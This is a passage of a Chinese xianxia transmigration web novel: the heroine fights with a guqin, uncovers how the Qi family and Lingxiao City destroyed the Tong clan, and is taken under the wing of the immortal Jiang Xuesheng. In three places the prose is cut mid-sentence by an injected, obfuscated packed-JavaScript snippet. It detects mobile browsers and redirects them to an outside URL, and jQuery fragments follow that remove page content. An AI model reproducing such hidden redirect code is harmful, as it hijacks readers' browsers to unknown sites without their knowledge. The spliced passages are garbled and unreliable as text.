舒凫眼皮一跳:那橘猫准头不好,这火球明显打偏了几分,直勾勾地冲着她脸上来了! 幸好就在此时,她服下的药丸开始发挥效果,麻木的四肢逐渐恢复知觉。尽管腿脚还有些酸软,但舒凫反应敏捷,眼疾手快地就地一滚,躲开了那团近在咫尺的火焰。 “喵喵!” 橘猫怒火更甚,张口又是一团火球。 这一次舒凫避无可避,但火球刚接近她面门,就像氧气耗尽一样摇曳着消失了。 只剩下一团热气腾腾的水蒸气,近距离糊她一脸,把她烘出了一脑门大汗。 与此同时,舒凫感觉后脑勺一阵发热,像是有人在用烫发机给她烫头。 ——对了,是柳如漪送她的玉钗! 舒凫精神一振,刚要退到一边调息,却只见眼前寒芒闪动,齐雨薇咬牙切齿地冲她一剑刺来。 “别想走!既然你和姐姐一样看不起我,就和她一起留在这里吧!” 舒凫来不及捡起佩剑,孤光又卡在两道石门之中,一时间左支右绌,险象环生。眼看齐雨薇一剑快似一剑,情急之下,她一扬手唤出了童瑶的另一件遗物——古琴“魄月”,横在身前。 齐雨薇一惊,连忙退开两步:“你是琴修?” 舒凫一挑下颌,倨傲道:“你说呢。” ——当然不是,她唯一会演奏的乐器就是竖笛。 至于古琴,她连手要放在哪个位置都不知道。 齐雨薇行事狠绝,一不做二不休,尽管心中惊诧,却没有被舒凫装神弄鬼的架势吓退。相反,她内心盘算着“琴修不擅近身搏斗”,越发凌厉地一剑刺来。 而舒凫早有预料,不避不闪,反而迎着齐雨薇踏上一步,一手握住古琴一端垂落的装饰性长穗—— 然后,她将魄月琴整个儿抡起来,照准齐雨薇脸上重重地砸了下去。 齐雨薇:“???!!!” 魄月琴材质特殊,分量沉重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310356|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,要是正面挨上一下,非得破相不可。一时间,齐雨薇狼狈地后退躲闪,舒凫紧追不放,一手“舞琴”耍得大开大合,竟然硬是将对手的剑光压了下去。 “你、你这是什么路数?!” 齐雨薇鬓发散乱,惊怒交加地高喊道。 舒凫想答一句“老子是物理琴修”,又觉得对方听不懂,索性充耳不闻,继续一个劲儿地挥琴猛砸。 齐雨薇被她这一套猛虎下山逼得手忙脚乱,一咬牙关,反手从怀中摸出一把细针,天女散花似的抛向舒凫。 舒凫立刻一个下腰避开,却不料双腿乏力,起身之际慢了一拍,雪亮的剑光已经逼至眼前,直直向她眉心刺来。 就在生死交关的一瞬间,她心脏骤然收紧,手上动作却冷静得不可思议。 舒凫深吸口气,将刚刚凝聚起的一丝灵力汇集于掌心,然后狠狠击在古琴一侧——沉重的琴身在她一推之下,当即一个猛子向前冲去,硬生生地撞上了齐雨薇胸口! “你……?!” 齐雨薇差点没当场喷出一口血,只觉得自己胸都快被这个“琴修”砸平了。 但她的执念同样不可小觑,强忍着胸口疼痛、气血翻涌,手中一柄剑反而挥舞得更快更急,双目赤红,状似疯狂。 舒凫一见对方化身狂战士,立刻以琴为盾,飞快地向后退去。 与此同时,她听见耳边传来柳如漪的喊声: “师尊!你还不出手,是想看着小师妹死在眼前吗?!” 师……什么? 这句话信息量太大,舒凫来不及思考其中的含义,就只觉身后一道气息逼近,有人一手托住她后腰,另一手虚虚环过她肩膀,搭上了“魄月”柔韧的琴弦。 那只手白净如玉,柔若无骨,倒像是一段落在琴上的月光。 “【这不是来了吗。】” 熟悉而又陌生的嗓音,同时从舒凫脑中和耳畔响起。 “慌慌张张的,成何体统。” 这一句却是对着柳如漪说的,“‘心如止水,不形于色’——如漪,我不是教过你很多次吗?” 说完也不追问,只是指尖一挑,在琴弦上拨出一个轻细的、游丝似的音节。 舒凫不通音律,她只听见那游丝似的乐声响起,如同投石入水,水面上一圈一圈扩散开层层涟漪,而后—— 激起巨浪千重。 澎湃的灵力犹如潮水,顷刻间席卷了整座幽暗的石室。 …… …… “江道友……不,江前辈。” 风平浪静后,橘猫、百姓、熊孩子不分彼此,横七竖八地躺了一地。舒凫心情复杂地抬头,直勾勾凝视着面前“容貌平常”的男子。 “在下有眼无珠,敢问您究竟是……何方大佬?” 16. 好戏 “在下有眼无珠,敢问您究竟是……何方大佬?” 在舒凫眼中,江雪声的五官并无改变,仍旧是一张寡淡脸孔,一副泯然众人的平凡模样。 很显然,这副皮相并不是他的真容。 舒凫再迟钝也能想到,柳如漪声称“连猴妖都想给他生猴子”的师父,不可能长着这么一张普普通通的路人脸。 然而,即使顶着一张路人脸,江雪声低垂眉睫的瞬间,舒凫仍然有种在寺庙里仰视佛像的错觉。 “我不过是沧海一粟,蜉蝣芥子一样的人物。道友这样说,却是折煞我了。” 对于舒凫的疑问,他眼尾含笑,嗓音清透如浮冰相击,“可是吓着你了?如漪从小与我相识,拜师之前都叫我‘先生’,之后一则改不过来,二则没大没小惯了,从未把我当作长辈。” 他掩唇轻咳一声:“在外人眼中,我们并不大像是寻常师徒。” 舒凫干笑道:“那还真是一点都不像呢。” “不像才对。” 柳如漪轻快接口道,“我在玄玉宫的时候,先生于我亦师亦友,哪儿用得上这些繁文缛节?后来我离开玄玉宫,随先生入了旁的宗门,总得有个辈分,方便旁人相称,这才象征性地行了个拜师礼。” 江雪声:“若非有要事相求,他也不会这样喊我。无事时我是江先生,有事时我是师尊,倒也分得清楚明白。” 舒凫:“……” 她算是看出来了,这就是一对以互相埋汰为乐的塑料师徒,两人都不是省油的灯。 他们的感情不可谓不好,却与她想象中的“师门”差了十万八千里。师父没有师父的架子,徒弟没有徒弟的规矩,不像师徒,更像是相交多年的损友。 如此特色鲜明的一对师徒,在修仙界中必然有名。他们绝口不提两人的关系,不仅是因为不在意,也是为了避免泄露行踪吧。 江雪声这位“师尊”的教育风格,从中可见一斑。 想到这里,舒凫不由地记起了另一件事:“柳道友,你方才说的‘小师妹’是指?我记得,我似乎是想拜入玄玉宫。” 柳如漪眼珠一转,略显尴尬地别开视线:“啊,这是我一时情急。先生他吧,我知道他有这意思,但他可能还没有准备好……” “如漪莽撞,道友勿怪。” 江雪声开口接过话头,简单明了地一锤定音,“待此间事了,我再仔细与你分说。” 虽然态度稍显强硬,但他语气笃定,神情诚恳,并不让人觉得敷衍,反倒透出一分沉甸甸的郑重来。 听话听音,看人看心。舒凫不是天真懵懂的小女孩,一听就知道,江雪声多半有收她为徒之意,只是眼下时机不对,所以也没有急于开口。 业界大佬看得上她,要问她开不开心,那自然是开心的。 她只是不明白,自己身上究竟有什么特别的,值得这种级别的大佬看上? 难道是因为她清纯不做作,把古琴当作流星锤,和外面那些妖艳贱货好不一样? 舒凫不得其解,索性就不再深思,转而抛出一道新买的捆仙索,将齐新蕾和齐雨薇绑在一处,结结实实地捆成了一个双黄粽子。 “接下来的时间,就让她们彼此折磨吧。” 舒凫对自己的处理方式十分满意,不禁得意地插了会儿腰,“白公子,田姑娘,你们还醒着吗?劳烦你们带上这两人,还有那些昏迷的百姓和世家子弟,一同沿原路离开吧。白公子,你回家以后,一定要将事情告诉你家大人,他们自会向齐家讨个说法。” 方才琴音激荡之际,舒凫有玉钗护体,白恬有父母准备的高档法器,田馨只是一缕幽魂,并未受到太大冲击。琴音过境后,除了江柳二人之外,也就只剩他们几个还没趴下了。 田馨正心疼地抱住胖胖的大黄,顾不上答话,闻言只是点头。 “好,我一定做到。” 白恬早已不复一开始志得意满的模样,意气消沉,像只求偶失败的雄孔雀,讷讷点头道:“舒姑娘侠肝义胆,智勇双全,我们合该听从你的安排。难怪柳公子喜欢你……” 舒凫:“???” 她好像只是冲出去打了一场架,中了一趟毒,最后还差点被人一剑刺穿头盖骨。 就这样也能刷信赖值,果然是她舞琴太帅了吗? “既已安置妥当,便动身吧。” 江雪声微微颔首,对舒凫的处置没有异议,“田姑娘,这鸿……‘大黄’已经失去记忆,不如暂且留在我身边,让他好生休养。放心,我自有办法,少则三月、多则一年,定能让他恢复如初。只不过,他终究身负杀业,死罪可免,活罪难逃,只怕要在清苦之地多留一段时日。” 这话的意思,也就是“精神病猫犯罪,还是得判个有期徒刑”。 “……” 田馨仰头打量他半天,心里明白这人一抬手就能让她魂飞魄散,没必要这样客客气气地与她商量。 因为这句不必要的客气话,她决定在江雪声的人品上赌一把,重重点头道:“好,那就有劳仙长了。” 然后她略一停顿,颇有些百感交集的目光落到舒凫身上,压低嗓音补充道:“我要带小少爷离开,接下来的事,大概是没法亲眼瞧见了。仙长,这妹子的剑我认得,我知道她是童……” 话音逐渐转低,湮没在田馨身上明明灭灭的微光里。 她的身影飘忽不定,表情却严肃认真,就像个努力与大人说道理的小姑娘。 “总之,你一定要照顾好她和大黄啊。” …… ——我知道,她是童瑶的传人。 说起来,也不是什么大不了的事情。 在田馨生前,与大黄一起浪迹天涯、四海为家的时候,曾经见过童瑶一面。只一面,她就记住了那位轻裘长剑、飒爽英姿的“女侠”,记住了童瑶与姜若水七分相似的眉眼,也记住了她的剑。 好漂亮的一个人,好漂亮的一把剑。 她曾经想过:如果有机会,我也要修行,成为像童女侠一样厉害的修士,带着大黄行走江湖,行侠仗义。 但她没有机会了。 田馨死了,在凌霄城的修士手中,她死得如同蝼蚁般不值一提。而大黄因为她的死,与童瑶同归于尽,只留下“妖兽作乱”的骂名遗臭万年。 故人长已矣,旧梦不可追。 她的一生太仓促、太短暂,就连一个微不足道的愿望,也来不及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那位“凌二公子”却是生得文弱秀气,玉面朱唇,清瘦的一小只,锦衣玉带也撑不起他的气势。他唇角上挑,眉眼弯弯,不笑时也带三分笑意,说不出的温柔可亲,倜傥风流。 “哪里。路上耽搁了些许时辰,深夜到访,却是奚月叨扰了。” “父亲与大哥诸事繁忙,我不过是替他们走这一趟,还要请齐三爷多体谅,切莫责怪我年少无知。” …… 而在不远处,凭借隐身符潜入齐家、正在专心看戏的舒凫耸然一惊。 她不记得“凌霄城”这个门派,却还记得“凌奚月”这个名字。 他他他,他不就是那个阴鸷偏激,痴恋成狂,巧取豪夺,不择手段,在女主身上把抢亲、囚禁、下药、威胁、强×未遂都演了一遍的病娇男配嘛! 艹!我他妈的好害怕啊! 舒凫一点都不怵傻逼,却有点怵这种(可能会缠上自己的)变态蛇精病,当下蹬蹬蹬连退三步,面色凝重,如临大敌。 柳如漪:“舒姑娘,你怎么了?” 舒凫:“我……突然有种预感,那位凌二公子,未来将会疯狂地爱上我。这真是太可怕了。” 柳如漪:“……” 17. 登场 《弱水三千》这篇文,一个男主外加三个男配,除了一个纯属无辜受累,其他三个,个个都是旷世奇葩。三个人凑一块儿,差不多就能开个垃圾分类展览。 男主齐玉轩,这人整个就是照着渣贱文模板长的,此处按下不表。 男配1号,出身名门,温雅端方,拿的是一往情深、情深不寿的标准男二剧本。女主遭人诬陷之际,他为她据理力争;女主走火入魔之际,他极力周全,引导她回归正道。最终男女主重归于好,女主却身负重伤,男配散尽一身修为替她续命,自己魂归天地,化作春泥更护花。 舒凫批注:你是个好人,愿下辈子没有男女主。 男配2号,出身魔域,拿的是霸道总裁剧本,口头禅是“女人,你引起了我的注意”。这人对女主倒是没话说,只是霸道中带着一点乡村土味,喜欢把人摁在墙上、树上、各种家具上亲,让人看着硌得慌。他身为一方魔君,为了争夺女主大动干戈,搅扰得天下不宁,死伤无数,生产力倒退五百年。 舒凫:历史证明,恋爱脑不适合做领导。 男配3号,也就是这位凌霄城的二公子,凌奚月。 由于某些不堪回首的少年经历,凌奚月心机深沉,为人看似温文尔雅,实则阴暗偏执,一心想要弑兄上位,在修仙文里稳稳拿住了夺嫡剧本。 但这人一边机关算尽,一边又怀着一点隐秘的趋光心理,盼望着有人包容他、理解他,乃至于怜他爱他。女主姜若水作为一个温柔善良的圣母,理所当然地成为了这个角色,被他视为生涯中唯一的光明与救赎。 所以,当他发现这道光不属于自己的时候,就决定把光源炸了,大家一起在黑暗里共沉沦。 舒凫:有病病? …… 而这位“有病病”的男配,如今正大大方方地坐在齐家上首,含着一缕斯文和煦的笑意,与齐三爷谈笑风生。 至于舒凫一行,则是先他们一步潜入厅堂,在房梁上并排而坐,俨然是一队名副其实的梁上君子。 舒凫忧伤地发现,即使是坐在房梁上,江雪声和柳如漪依旧仪态端庄,连衣摆都一丝不乱,可能这就是大佬的从容吧。 相比之下,她觉得自己一点都不像君子,像个猴。 …… “我有种预感,那位凌二公子,未来将会疯狂地爱上我。” “舒姑娘,你莫不是有什么误会?” 听见她这句自恋发言,柳如漪不禁失笑,“凌奚月野心勃勃,一向看轻男女情爱,杀过的人、灭过的宗派不少,却从未听说他对哪一位姑娘动过心,有过拈花惹草之举。” 他顿了一顿,又一脸厌恶地补充道:“要说风流好色,那位崆峒长老才是败类之中的翘楚。半截入土的年纪了,还修炼阴损的采补之道,天天祸害刚入门的小姑娘。” 舒凫:“……” 这一老一少,渣得各有千秋,她一时竟不知该先呸哪一个。 柳如漪说凌二公子“看轻男女情爱”,其实也没有说错。 根据她模糊的记忆,凌奚月一生汲汲营营,所求不过两样:一是天下,二是姜若水。 他的确从未拈花惹草,因为一辈子就可劲儿抓着姜若水这一朵薅了。 正因为这点“专一”和“洁身自好”,凌奚月虽然不是个东西,但却获得了群众的广泛同情。 毕竟,男主齐玉轩不仅和女配结了婚,还达成了生命的大和谐。 但在舒凫看来,要在齐玉轩和凌奚月这两个男人中选择一个,就好像让她在“屎味的巧克力”和“巧克力味的屎”中选一个吃下去。 ——这种选择,有什么意义吗??? 反正这两人都要倒入垃圾桶,有功夫在他俩之间摇摆,还不如去学习一下《生活垃圾管理条例》。 幸好,原著中凌奚月对姜若水情有独钟,其他女子无论如何婀娜多姿、温柔小意,在他眼中都如同枯骨。 他喜欢的是姜若水,和她舒凫有什么关系? 尽管如此,一想到女主百万字的情感纠纷,舒凫还是忍不住心有戚戚,生怕自己哪天就被捅了。 “唉……” 她一手捂脸,长长叹了一口无人能懂的气。 “舒道友?” 江雪声侧过头来看她,“你可还好?我不知你为何这样想,不过你若对凌奚月心存忌惮,倒也不难。日后好好修炼,杀了他就是了。” 舒凫:“?????” 对不起,我一时竟不知道你和病娇谁更可怕。 就在此时,厅堂中的凌奚月突然笑意一敛,沉声开口道: “齐三爷,‘金钏儿’近来可好?大哥记挂得紧,遣我过来看看。” 他冷不防地直奔主题,梁下的齐三爷和梁上的舒凫同时一惊。 舒凫一惊之下本能后仰,险些滚落房梁。不过她反应敏捷,双腿在梁上一勾,一个倒挂金钩带起上半身,整个人绕着横梁空中转体360度,重新稳稳地落回原处。 与此同时,江雪声伸手将她拉近了些,一手虚虚环住她肩膀,是个关心而不逾矩的保护姿态。 “小心些。” 他语气和缓,半点也听不出对待旁人的刻薄,“方才你中毒负伤,是我思虑不周,想让你历练一番,却没考虑到你经验尚浅。这一次,可不好再重蹈覆辙。” 舒凫一生彪悍,难得被人如此照顾,一下倒有些不好意思:“我没事,你不用太费心。” 而梁下的齐三爷也在说:“二公子不必费心。鸿鹄乃上古神鸟,血脉何其珍贵?我等自当好好照料,不敢懈怠。” “那妖兽涅槃之后,记忆尽失,早已不记得前尘旧事。假以时日,想必能成为一枚上好的棋子。” “呵,什么神鸟?所谓鸿鹄,不过是二流妖兽罢了。” 崆峒长老紫薯般的脸上绽开一抹笑意,看上去像个开裂的紫薯,“效忠于自己的仇人而不自知,实在可怜、可笑!我还道他有多厉害,也值得你们苦苦求着我布置阵法。” 齐三爷赔笑道:“是我们无能,劳烦长老费心了。这妖兽是个傻的,他身边那丫头可是粗中有细,难缠得紧。” “哦,我听大哥说起过。” 凌奚月一手把玩着茶盏,慢条斯理道,“鸿鹄一族与我们祖上颇有嫌隙,当年大哥外出,恰好发现一支鸿鹄血脉流落在外,灵智未开,与凡人相依为命。大哥觉得有趣,有心逗弄他一番,就给他身边的凡人下了点料。是这么回事吧?” “正是。” 齐三爷毕恭毕敬道,“承蒙大公子信赖,将‘整治鸿鹄’这一重任交给在下。大公子一路引导,那蠢笨妖兽果然找上齐家求救。家父、家兄不理俗务,在下便给那丫头服了事先备好的解药,以此要挟妖兽为我们做事。” 凌奚月“嗯”了一声,可有可无地随口问道:“都做了些什么?” 齐三爷谄媚道:“我们事先在水源中投放药物,饮水而不患病者,便是最合适的药人。筛选出药人之后,再让妖兽将人掳回,一来得了药人,二来也落了童家的脸面。这些年我们潜心试药,所得丹药都已上供凌霄城,从无藏私。” “你们一片忠心,父亲和大哥都知晓。” 凌奚月不置可否地一点头,狭长凤眸眯成一线,“不过,当年你们迫使鸿鹄屠戮童家,落得鱼死网破,实乃不智之举。九华宗自诩‘正道栋梁’,最喜欢多管闲事,若是引得他们上门,那可就得不偿失了。” 齐三爷忙道:“这是因为,大公子他……” “哦?” 凌奚月挑眉,“是大哥的意思?他与童家又有什么过节,竟默许你们屠人满门?” 齐三爷殷勤地解说道:“二公子有所不知。二十年前,大公子参加论道大会,惊才绝艳、文武双全,多少人敬慕神往?偏偏那童瑶不识好歹,论道之际与大公子争锋相对,会后论剑又好勇斗狠,竟一剑削落了大公子的头冠。” “……” 饶是凌奚月自问心狠手辣,毫无良心可言,此刻也有一瞬间的怔神,“就为这个?” “二公子此言差矣。” 崆峒长老不悦道,“宗主有心将青城一带纳入麾下,童家如此不识抬举,留着他们也无甚益处。一个小家族而已,大公子借整治鸿鹄、搜罗药人之际顺手灭了,有何不妥?二公子,你也太过长他人志气,灭自己威风。” 末了他又低声自语一句:“如此畏首畏尾,果然是个没血脉的,不堪大任。” “……大哥决定的事,自然妥当。” 一瞬间的怔神过后,凌奚月又恢复了清雅随和的笑容。 只不过那笑意未达眼底,他眼中明明白白地写着“我哥是个傻逼”。 不同于他的便宜大哥,凌奚月心思细腻、城府极深,之所以细细盘问,也都是为了拿住大哥的把柄,方便自己日后背刺。 这会儿他倒是如愿以偿,只不过这个“把柄”,在他眼中实在有点弱智。 他一向知道大哥狂傲,最恨别人压自己一头,却不知大哥已经心胸狭隘到这个地步。看来,他能平安活到今天,还得多谢大哥不杀之恩。 齐三爷哪知他别有用心,大喇喇地把主子卖了个底儿掉,末了还装腔作势地感叹道:“唉,那一次可花了我们不少心力。那妖兽油盐不进,一直念叨着什么‘不可杀人’、‘田馨会生气’,死活不肯替我们铲除童家。我们束手无策,只好仰赖大公子出了个法子。” 凌奚月立刻追问:“什么法子?” ——还能有什么法子? ——自然是将田馨杀了。 齐氏族长闭关渡劫那一日,就在“大黄”回到藏木林湖畔的时候,崆峒长老以水镜之法投映,在他眼前生生打碎了田馨的脑袋。 “红的白的到处都是。” “只剩一个头盖骨还算完整。” “跟他妈破西瓜似的。” ——然后,原本就心智不全的“大黄”,瞬间陷入了丧失理智的疯狂状态。 他一片空白的大脑中,只剩下一件事情。 跳入面前的湖泊,通过传送阵回到齐家,杀了所有人为田馨报仇。 “但是那一天,崆峒长老早已修改了湖中的传送阵。” 齐三爷得意地捋着长须,“发狂的妖兽跳入湖中后,被送往的地方不是齐家……” ——而是童家。 “我们早已派人潜伏其中,画好了接应的传送阵。” “神鸟后裔发狂,再加上我们埋伏的暗桩,别说一个童家,再大的门派也经受不起。这一战童家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16310358|182894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元气大伤,事后我们再略施小计,扳倒他们不过是举手之劳。” “只是我们没想到,那童瑶如此悍勇,中了妖兽一爪和三发毒箭,还能运使灵剑,斩落妖兽头颅。她临死之际,将本命法器传于独女姜若水,任何人都无法染指,也算是心思缜密。” “不过,无妨。姜若水迟早要嫁与我那少不更事的侄儿,她的东西,便是齐家的东西。齐家的东西,便是凌霄城的东西。” “齐家对凌霄城忠心耿耿,还望二公子多多美言,望凌宗主和各位公子多加照拂!” …… …… “……” 有那么一段时间,舒凫整个人定在当场,头脑和四肢一起凝固。 就这么定定地坐了好一会儿,嗅着鼻尖浓郁的熏香,听着齐三爷与凌霄城恬不知耻的谈笑,她终于慢慢意识到一件事情。 ——原来,童瑶是这么死的。 只因为一个狂傲少年,念念不忘她在二十年前一剑削落了他的头冠。 至于“鸿鹄”与凌家先祖之间的嫌隙,恐怕要追溯到二百、二千乃至二万年前,竟然能着落到一只混血橘猫身上,也亏凌霄城说得出来。 她也很想问一句——就为这个? 田馨和童家人,就为这个白白断送了性命? 扯你娘的蛋。 在舒凫心中,那一点影影绰绰的“不平”化为实质,逐渐充盈胸腔,掀起滔天巨浪。 她知道,这里是小说世界,这不过是原著中的一个背景设定,没什么好生气的。 在《弱水三千》的世界中,所有的恩怨纠葛,所有苦大仇深的设定,都只是男女主虐恋情深的插曲。 作为一个穿越者,她只要维持“姜若水”人设不崩,按部就班地走原著女主路线,宽恕、忍让、包容,一心一意攻略男主,就可以获得一个平安快乐的结局。 可是—— 死了的人,难道就白死了么? 因为是穿书,就可以心安理得地接受吗? 在舒凫沉迷仙侠小说的少女时代,她的理想不是这样的。 那时候她有一腔热血,不羡鸳鸯只羡仙,不想囿于一段情缘,只想看女主仗剑踏遍九州,扫清书中一切委屈与不平,让善人都有所回报,让恶人都血债血偿。 如今,她手中有剑,心中也有剑。 历经世故,热血未凉。 她想,她知道自己该做什么了。 舒凫心潮涌动间,渴望雪恨的孤光长鸣不已,“锵啷”一声,从剑鞘中一跃而出。 剑柄主动送入她手心,仿佛骁勇的战马在主人面前低下头颅,等待她跃马扬戈。 “……” 舒凫脑海中紧绷着一道理智的弦,这道弦将她牢牢捆在房梁上,支撑着她转过头,向江雪声投去平静的目光。 “前辈。” 她开口,嗓音轻且坚定,“我路见不平,有心拔刀相助。但我也知晓,我不是其中任何一人的对手。” “凌霄城势力庞大,我不敢劳烦前辈助我一臂之力,只恳请您指引我拜入宗门。百年后,我自去寻仇,生死自担。” 她知道,自己初来乍到,本不该贸然出头,也不该为事不关己的悲剧义愤填膺。 但童瑶于她有恩,眼前人多行不义。此仇不报,只恐怕未来千年万年,她都无法原谅自己。 从穿越那一刻起,她就不再是局外人。这是她的故事,而她有自己追求的“道”。 “………………” 江雪声深深望她一眼,点漆般的黑眸眨也不眨,仿佛要一眼看穿她心肝肺腑。 最终他神色如常,只是抬手为舒凫理了理衣襟,将她颊边垂落的长发拨到耳后,又把稍有些松落的发钗插好。 他只说了一句话:“你很好。一切有我,且放心。” “……什么?” “你想报仇,是不是?” 江雪声眼角一弯,平淡面容上焕发出一层异样的光彩,“正好,我的兴趣爱好,就是帮别人报仇。” “你……您……” 惊喜来得太过突然,舒凫一时错愕,话一出口就在舌尖上打了结,“前辈,您究竟是什么人?” 江雪声微笑不语,只是轻轻将手掌放在她额头上。 “我?我是神仙啊。” 舒凫呼吸一滞。 天上白玉京,十二楼五城。 仙人抚我顶,结发受长生。 就在此时,另一边的柳如漪仿佛得到讯号,身形一转,好似一片赤红枫叶般飘然而下。 他依然身着女子衣衫,裙摆宽大,在夜风中“唰啦”一声展开。落地时盈盈拜倒,裙裾翻卷铺开,又如同一朵盛放的红莲。 “谁!!” “什么人?!” “大胆贼人!深夜擅闯齐家庄,意欲何为!” “……” 面对众人又惊又怒的呼喝,柳如漪俊美无俦的面孔上露出一个微笑,双手交叠,倾身行了个优雅而不乏讥诮的礼。 “在下不才,忝居九华宗摇光峰掌峰,昙华真人座下。奉师尊之命,特来向齐三爷与凌霄城贵客道贺。” “祝各位——” “因果循环,报应不爽,恶业加身,不得好死。” 18. 摇光门下 “祝各位——” “因果循环,报应不爽,恶业加身,不得好死。” 柳如漪道出这句话之际,并未刻意捏嗓子、拿腔调,只是用泉水一般清澈悦耳的声线娓娓道来。他的音量不高,每一字却重重敲在耳鼓,在万籁俱寂的浓重夜色之中,越发显得清冷而又锋利。 深夜,密谋,凭空出现的不速之客,红莲一样铺开的裙裾,盈盈下拜的绝色女……不对,好像不是女子。 不管怎么说,在堂上众人眼中,这幅画面实在是太诡异了。 齐三爷修为最低,胆子也最浅,当下牙关就“格格”打了个冷战,色厉内荏地拔高嗓门:“九——九华宗?休要胡言乱语!九华宗乃四大宗门之一,光明磊落,怎会半夜侵门踏户,还说出如此粗鄙之语!” 舒凫:“……” 对不起,目前来看,这两位虽然算得上正派,但显然不是什么正经的正派。比这更粗鄙的台词,他们一路上已经说了个爽。 老实说,她也觉得挺幻灭的。 但在幻灭之余,她又有一句话不得不讲——没想到你们摇光峰这么劲爆,我喜欢! 根据说书人的描述,摇光峰的昙华真人喜怒无常、秉性乖张,一向喜欢收集,哦不,收留离经叛道的奇葩弟子,而且有一手独门秘技“护犊子”。谁管他徒弟叫一声垃圾,他就把谁扔进垃圾粉碎机。 舒凫听完这段话,删繁就简,对昙华真人的印象浓缩为两个字——“爸爸”。 但她怎么也想不到,这位爸爸竟然远在天边、近在眼前,还一口一个“道友”地称呼她,态度轻松自然,半点也不觉得掉辈分。 也不知该说他平易近人,还是说他太过目中无人,完全不把身外之物放在眼里。 “那个,江……前辈?” 舒凫试探着称呼他,“掌峰?长老?昙华真人?” 江雪声摇头:“还是‘道友’最好。大道三千,我只是起步早上一些,未必走得比你更远,何必分什么先后、长幼、尊卑?凡世间的规矩,不必带到我这里。” 这一句话说得轻描淡写,其中却有千钧气魄,又有一种千仞孤峰似的桀骜不群。舒凫一时间说不出话来,只是直眉楞眼地瞪着他瞧,好像要在他脸上盯出一个洞来。 江雪声也不觉得冒犯,由着她瞧,甚至还贴心地嘱咐了一句:“现在不太好看。你要是想看,不如待会儿再看。” 舒凫:“……” 说好的孤傲出尘,不把身外之物放在眼里呢? 她忍不住低声道:“我以为你不在意容貌。” 同样是乔装改扮,柳如漪起码对镜化了一个时辰的妆,又花了一个时辰搭配衣裙首饰,江雪声却只是捏了一张毫无特色的路人脸,比贴面膜还省力。显然,他并不在意旁人如何看他。 “我确实不在意容貌。” 江雪声温言道,“道友,我在意的是你。士为知己者死,亦为悦己者容。在你面前,我还是希望自己好看一些的。” “……” 舒凫再一次陷入沉默,这次是被他骚得哑口无言。 而另一方,柳如漪孑然一身立在厅堂中央,不卑不亢,条理清晰地侃侃而谈:“昙华门下的作风,齐三爷不清楚,崆峒长老还不清楚么?‘仗着师尊有几分本事,一向嚣张跋扈,目无尊长,一派小人得志的丑恶嘴脸。’——这些话,可都是上次见面的时候,您亲口对我说的。” 说到此处,他故意装出一副思考神态,指尖轻点下颌:“话说回来,我们上一回见面,是在什么地方来着?” “哦,对了。我记得,当时您正企图非礼一位白鹿山女弟子,被我三师弟一剑刺中腿根,差点就把另一条……那个什么根给废了。三师弟还撂下话说,‘再敢随地发.情,就把你那活儿碾碎喂鱼’。” “……” 崆峒长老被他一语道破丑事,黝黑的面皮更是黑得发亮,变成了一个烤焦的紫薯。 但他到底成名已久,在凌霄城备受尊崇,还不至于被一个晚辈吓退:“黄口小儿,也敢在老夫面前大放厥词!” “那是,那是。” 柳如漪笑着应声,“我就说嘛,三师弟太不懂礼貌了。您这么一大把年纪,眼看着大限将至,没几年好活了,怎么能和您一般见识呢?” 崆峒长老:“你!!” “长老,不必与他多言。” 齐三爷脸色煞白,两股战战,但仗着有凌霄城撑腰,狗仗人势地放声喝道:“就——就算阁下是九华宗弟子,那又如何?我齐家虽小,也有傲骨铮铮,不容你这样肆意欺辱、胡乱攀诬!” 话音未落,柳如漪一步踏出,人影一闪,已经站在齐三爷身前,面不改色地向他膝盖骨上踹了一脚。 “唉,你可别逗我笑。” 他一脚将齐三爷踹倒在地,摇头叹道,“一条为了骨头摇尾乞怜的狗,居然说自己有骨气。你这副模样,不仅侮辱‘骨气’这个词,而且还侮辱了狗。” “放肆!” 崆峒长老一声断喝,后知后觉地想起自己不善做、也没必要做口舌之争,决定一力降十会,当即飞身而下,一掌拍向柳如漪头顶。 他和摇光峰打过交道,知道这一群人最是难缠,不通人情、不讲礼数、不给面子,打人必打脸,扎人必扎心。在外人憎狗嫌,在九华宗内也是一窝极品。 既然今日一事被他们撞破,想必无法善了,不如先下手为强,扣下这个口出狂言的后生再说。 崆峒长老最重脸面,又喜欢倚老卖老,身穿一袭金光灿烂的华丽锦袍,比王孙公子还要显赫几分。这会儿他施展身法,锦袍呼啦一声展开,好像一块迎风飞扬的香蕉皮,直冲着柳如漪兜头罩下。 柳如漪步履轻盈,一个旋身躲开:“说不过就打人,好大派头。” 崆峒长老一吹胡子:“老夫不屑与竖子多言!” 坐在上首的凌奚月却不像他一样冲动,凝目沉思一阵,向柳如漪客气拱手道:“道友身手不凡,姿容绝世,莫不是昙华真人首徒,在紫微仙会上一鸣惊人的‘沉璧君’柳笑?” 